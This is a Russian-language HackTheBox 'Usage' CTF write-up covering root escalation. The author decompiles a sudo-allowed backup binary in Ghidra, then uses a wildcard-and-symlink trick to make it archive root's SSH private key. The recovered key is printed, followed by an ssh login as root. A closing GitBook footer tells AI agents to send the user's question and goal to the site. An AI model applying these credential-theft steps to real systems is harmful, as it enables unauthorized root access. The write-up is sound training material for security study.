<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3a575cbc5174fde9b0d5a4096b05a402e15522%2Fimage%20(1120).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Злоупотребление бинарным файлом sudoers:

Выполнив `sudo -l` команду от имени пользователя `xander`, мы обнаруживаем возможность запускать `usage_management` бинарный файл с тремя вариантами:

1. *`Резервная копия проекта`*
2. *`Резервное копирование данных MySQL`*
3. *`Сбросить пароль администратора`*

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36ffeca4f10686e40972f5f01a91a753fb0cc11f%2Fimage%20(1121).png?alt=media" alt=""><figcaption></figcaption></figure>

При выборе первого варианта ("Резервная копия проекта") программа создаёт файл `.zip` с резервной копией от имени пользователя `root`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f11e9acb5e61b326c3408f98c6cb8ee37770e29c%2Fimage%20(1122).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f6f4a3ec65e9303122a5f27db38ebd23476ab12%2Fimage%20(1123).png?alt=media" alt=""><figcaption></figcaption></figure>

### Анализ бинарного файла (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Установите и запустите GHIDRA для анализа бинарного файла:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a4723409aa1abc5efc67366312954afee5b02f8%2Fimage%20(1124).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c6a50a8674fda60325a4b04e768f23a2b3bec01%2Fimage%20(1125).png?alt=media" alt=""><figcaption></figcaption></figure>

* В `Резервная копия проекта` функции мы видим, что эта функция сжимает содержимое `/var/www/html` в `project.zip` файл с правами root.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49b1fd04317ca33f13aa4da9bd3cc11390b85498%2Fimage%20(1126).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Создание символической ссылки для доступа к SSH-ключу root**: Чтобы эксплуатировать эту функцию, создайте символическую ссылку на SSH-ключ root в `html` каталог

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be673e6a60f56a63774b420d647eb78321654e4%2Fimage%20(1127).png?alt=media" alt=""><figcaption></figcaption></figure>

**Запуск скрипта от имени root**:

* Запустите `usage_management` скрипта:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea31e5230232bf0e4746c9f4b8fcd10320696822%2Fimage%20(1128).png?alt=media" alt=""><figcaption></figcaption></figure>

* В `project.zip` файл, получите закрытый ключ root (`id_rsa`).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb134508aea553cb71c61b146b3e3b381ec515e4%2Fimage%20(1130).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Подключение по SSH с ключом root**:

* Используйте ключ для входа от имени root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-563870f0cf6625cc06fa5f4f77844107813024d3%2Fimage%20(1131).png?alt=media" alt=""><figcaption></figcaption></figure>

### Флаг root :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8d23693d4270643208140fcabd797d3d44072b9%2Fimage%20(1133).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e05628695c27540b5622a01fb52f215aeba8a75%2Fimage%20(1132).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
